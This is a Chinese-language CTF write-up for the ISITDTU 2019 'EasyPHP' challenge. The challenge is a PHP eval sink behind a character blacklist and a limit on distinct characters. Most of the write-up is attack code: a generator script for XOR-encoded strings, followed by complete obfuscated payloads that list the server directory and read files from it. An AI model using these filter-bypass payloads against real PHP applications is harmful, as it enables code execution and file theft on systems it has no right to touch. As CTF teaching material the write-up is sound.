[ISITDTU 2019]EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

过滤的挺新颖啊

1
preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_)

分解一下

过滤了ASII码\00到空格的字符,0-9数字,’”$&.|[{,_defgops:匹配这些字符中的任何一个。

\x7F:匹配 ASCII 码的 127,即删除字符

1
2
3
4
5
( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
strtolower变小写
count_chars计算出现的字符的种类
strlen计算长度
就是不能用超过13种的字符

发现没有过滤%~^大概率要用异或了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

#用不可见字符异或
$l = "";
$r = "";
//$argv = str_split("_GET");
$argv = str_split("phpinfo");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "(".$l."^".$r.")";
?>

image-20241202204806013

可以看到禁用了很多函数,能用的都禁了我试着

还有就是字符限制

需要删减

用的是a^b^c=d,把a^b^c替换原来的d,再和%ff异或。
即原来的d^%ff = a^b^c^%ff

1
2
3
4
5
print_r(scandir(.));==(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d%d7%8c%9c%9e%91%9b%96%8d%d7%d1%d6%d6)


缩减后
((%ff%ff%ff%ff%ff%ff%ff)^(%8b%9c%9b%8b%8b%8b%9c)^(%8b%8f%9c%8b%9b%8b%8f)^(%8f%9e%91%91%9b%a0%9e))(((%8b%8b%8b%8b%8b%9b%9c)^(%9b%8b%8b%8b%8b%9c%8f)^(%9c%9c%9e%91%9b%91%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
0 1 2 3 4 5 6 7 8 9
A B C D E F G H I J K
B C D E F G H I J K L
C D E F G H I J K L M
D E F G H I J K L M N
E F G H I J K L M N O
F G H I J K L M N O P
G H I J K L M N O P Q
H I J K L M N O P Q R
I J K L M N O P Q R S
J K L M N O P Q R S T
K L M N O P Q R S T U
L M N O P Q R S T U V
M N O P Q R S T U V W
N O P Q R S T U V W X
O P Q R S T U V W X Y
P Q R S T U V W X Y Z
Q R S T U V W X Y Z A
R S T U V W X Y Z A B
S T U V W X Y Z A B C
T U V W X Y Z A B C D
U V W X Y Z A B C D E
V W X Y Z A B C D E F
W X Y Z A B C D E F G
X Y Z A B C D E F G H
Y Z A B C D E F G H I
Z A B C D E F G H I J

最终命令readfile(end(scandir(.)))或者var_dump(file_get_contents(end(scandir(getcwd()))));

总共需要._acdinprst

1
2
3
4
5
6
7
8
9
10
11
.=
a=
c=
d=
i=
n=i^c^d
p=
r=a^c^p
s=
t=s^c^d

最终payload

1
((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));